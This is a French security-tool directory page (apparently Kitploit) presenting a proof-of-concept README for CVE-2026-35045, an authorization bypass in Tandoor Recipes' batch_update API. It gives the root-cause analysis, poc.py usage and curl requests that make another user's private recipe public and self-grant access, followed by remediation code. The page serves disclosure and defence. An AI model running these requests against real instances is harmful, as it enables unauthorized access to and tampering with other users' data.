Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/filipegaudard/cve-2026-35045-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests de Sécurité des APITests d'IntrusionApprentissage et Éducation
GitHubfilipegaudard/cve-2026-35045-poc

CVE-2026-35045-PoC

Preuve de concept d'exploitation pour CVE-2026-35045, une vulnérabilité de contrôle d'accès au niveau objet (BOLA) dans Tandoor Recipes, démontrant la modification non autorisée de recettes via le point de terminaison d'API batch_update.

Voir le dépôt
11il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-35045 — Autorisation au niveau objet cassée dans Tandoor Recipes

CVE-2026-35045 GHSA CVSS 8.1 CWE-639

Affected Version Responsible Disclosure


Résumé

Le point de terminaison PUT /api/recipe/batch_update/ dans Tandoor Recipes v2.6.1 permet à tout utilisateur authentifié au sein d'un Espace de modifier n'importe quelle recette de cet Espace — y compris les recettes privées appartenant à d'autres utilisateurs. Cela contourne complètement les contrôles d'autorisation au niveau objet appliqués sur tous les points de terminaison standard de recette individuelle.

La cause racine est une lacune comportementale de Django REST Framework : les actions de liste avec detail=False n'invoquent jamais has_object_permission(), uniquement has_permission(). Le queryset filtre uniquement par space=request.space, sans vérification de created_by, private ou de la liste shared. Un attaquant peut forcer l'exposition de recettes privées, s'accorder un accès persistant, révoquer les autorisations d'autres utilisateurs et falsifier les métadonnées — le tout en un seul appel API d'apparence non autorisée qui renvoie HTTP 200 OK avec un corps vide.

Détails de la vulnérabilité

ChampValeur
ID CVECVE-2026-35045
GHSAGHSA-v8x3-w674-55p5
CWECWE-639 — Contournement d'autorisation via une clé contrôlée par l'utilisateur
CVSS v3.18.1 ÉLEVÉE — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Version affectéeTandoor Recipes ≤ 2.6.1
FournisseurTandoorRecipes/recipes

Cartographie MITRE ATT&CK

ID de techniqueNomPertinence
T1078Comptes validesL'attaquant utilise des identifiants légitimes à faibles privilèges pour contourner l'autorisation
T1565.001Manipulation des données stockéesModification de recettes privées et de listes de contrôle d'accès appartenant à d'autres utilisateurs

Analyse de la cause racine

1. detail=False contourne les contrôles d'autorisation au niveau objet

Fichier : cookbook/views/api.py

root@kitploit:~
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
    serializer = self.serializer_class(data=request.data, partial=True)
    if serializer.is_valid():
        recipes = Recipe.objects.filter(
            id__in=serializer.validated_data['recipes'],
            space=self.request.space   # ← Aucune vérification created_by ou private
        )

Dans Django REST Framework, les actions enregistrées avec detail=False sont des actions de liste. Elles n'appellent jamais get_object(), ce qui signifie que check_object_permissions() et CustomRecipePermission.has_object_permission() ne sont jamais invoqués. Seul has_permission() s'exécute — ce qui vérifie l'appartenance à l'Espace, et non la propriété de la recette.

2. Les points de terminaison standard sont correctement protégés

PUT /api/recipe/{id}/ suit le flux complet d'autorisation DRF :

root@kitploit:~
get_object()
  → check_object_permissions()
    → CustomRecipePermission.has_object_permission()
      → refuse l'accès si la recette est privée et non possédée/partagée avec le demandeur

Le point de terminaison batch_update saute silencieusement toute cette chaîne.

3. Champs modifiables via le lot

RecipeBatchUpdateSerializer expose les champs suivants — modifiables sur toute recette de l'Espace :

ChampEffet
privateBascule la visibilité de la recette
shared_add / shared_remove / shared_setManipule la liste de contrôle d'accès
keywords_add / keywords_remove / keywords_setModifie les métadonnées de la recette
working_time / waiting_timeModifie les données de temps de la recette

Flux d'attaque

root@kitploit:~
┌──────────┐   ① PUT /api/recipe/batch_update/    ┌─────────────────┐
│ Attaquant│ ─────────────────────────────────────→│ Serveur Tandoor │
│ (User B) │   {"recipes":[2],"private":false,     │                 │
│          │    "shared_add":[2]}                  │  has_permission()│
└──────────┘                                       │  ✓ (Membre Espace)│
                                                   │                 │
                                                   │  has_object_    │
                                                   │  permission()   │
                                                   │  ✗ JAMAIS APPELÉE│
                                                   └────────┬────────┘
                                                            │
                                              ② Recipe.objects.filter(
                                                 id__in=[2],
                                                 space=request.space
                                              )  ← Aucune vérification de propriété
                                                            │
                                                            ▼
                                                   ┌────────────────┐
                                                   │  Recette ID 2  │
                                                   │  (possédée par A)│
                                                   │  private=false ← corrigé
                                                   │  shared=[2]  ← auto-accordé
                                                   └────────┬───────┘
                                                            │
                                              ③ HTTP 200 OK — {}
                                                            │
                                                            ▼
                                                   ┌────────────────┐
                                                   │ Attaquant (B)  │
                                                   │ a désormais un │
                                                   │ accès complet  │
                                                   │ à la Recette 2 │
                                                   └────────────────┘

Preuve de concept

Prérequis

  • Python 3.10+
  • Bibliothèque requests
root@kitploit:~
pip install requests

Utilisation

root@kitploit:~
# Forcer l'exposition d'une recette privée et s'auto-accorder l'accès (par défaut)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2

# Forcer l'exposition uniquement (définir private=false)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2 \
               --action expose

# Auto-accord uniquement (ajouter à la liste shared, conserver private=true)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2 \
               --action self_grant

Modules / Actions

ActionDescription
exposeDéfinit private: false sur la recette cible — force la visibilité pour tous les membres de l'Espace
self_grantAjoute l'ID utilisateur de l'attaquant à shared_add — accorde un accès persistant même si la recette reste privée
bothExécute les deux actions en une seule requête (par défaut)

Vérification manuelle (curl)

1. Pré-condition — La recette est inaccessible via le point de terminaison standard

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" \
  http://TARGET:8085/api/recipe/2/ \
  -H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# Attendu : 404 (privée, non possédée)

2. Exploitation — batch_update sans autorisation

root@kitploit:~
curl -X PUT 'http://TARGET:8085/api/recipe/batch_update/' \
  -H 'Content-Type: application/json' \
  -H 'X-CSRFToken: CSRF_B' \
  -H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
  -d '{"recipes": [2], "shared_add": [2], "private": false}'
# Attendu : HTTP 200 OK — {}

3. Post-condition — La recette est désormais accessible

root@kitploit:~
curl -s http://TARGET:8085/api/recipe/2/ \
  -H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# Attendu : HTTP 200 avec les données de la recette, private=false

4. Vérification via la liste des recettes

root@kitploit:~
curl -s 'http://TARGET:8085/api/recipe/' \
  -H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
  | python3 -c "import sys,json; [print(r['id'],r['name'],r['private']) for r in json.load(sys.stdin)['results']]"
# Attendu : 2  <nom_recette>  False

Impact

Domaine d'impactDescriptionGravité
Exposition forcée de recettesDéfinir private: false rend toute recette visible pour tous les membres de l'EspaceÉlevée
Auto-accord non autoriséAjouter son propre ID utilisateur via shared_add accorde un accès en lecture/écriture persistant à toute recetteÉlevée
Révocation d'accèsUtiliser shared_remove ou shared_set pour retirer des utilisateurs légitimes de la liste de partage d'une recetteÉlevée
Falsification de métadonnéesModification de working_time, waiting_time et keywords sur des recettes appartenant à d'autres utilisateursMoyenne

Remédiation

Correctif immédiat

Filtrer le queryset par created_by=request.user pour restreindre les opérations par lot aux recettes possédées :

root@kitploit:~
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
    serializer = self.serializer_class(data=request.data, partial=True)
    if serializer.is_valid():
        recipes = Recipe.objects.filter(
            id__in=serializer.validated_data['recipes'],
            space=self.request.space,
            created_by=self.request.user,  # ← Correctif : restreindre aux recettes possédées
        )

Défense en profondeur

Si les administrateurs d'Espace ont besoin de pouvoir mettre à jour par lot n'importe quelle recette, ajoutez une condition basée sur les rôles :

root@kitploit:~
if is_space_owner(request.user, request.space):
    recipes = Recipe.objects.filter(
        id__in=serializer.validated_data['recipes'],
        space=self.request.space,
    )
else:
    recipes = Recipe.objects.filter(
        id__in=serializer.validated_data['recipes'],
        space=self.request.space,
        created_by=self.request.user,
    )

Recommandations générales pour DRF

Toute action avec detail=False qui opère sur des objets individuels doit appliquer manuellement l'autorisation au niveau objet. has_object_permission() de DRF n'est jamais appelé pour les actions de liste — cette responsabilité incombe entièrement au développeur.


Références

  • GHSA-v8x3-w674-55p5
  • CVE-2026-35045
  • CWE-639 : Contournement d'autorisation via une clé contrôlée par l'utilisateur
  • DRF — Actions personnalisées et contrôles d'autorisation
  • OWASP API Security Top 10 — API1:2023 Autorisation au niveau objet cassée
  • MITRE ATT&CK T1078 — Comptes valides
  • MITRE ATT&CK T1565.001 — Manipulation des données stockées

Avertissement

Cette preuve de concept est fournie à des fins de tests de sécurité autorisés et de formation uniquement. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur décline toute responsabilité en cas d'utilisation abusive de cet outil.


Auteur

Filipe Gaudard — Chercheur en sécurité offensive | eWPT | eWPTx

  • GitHub : @FilipeGaudard
  • LinkedIn : Filipe Gaudard
Télécharger l’outil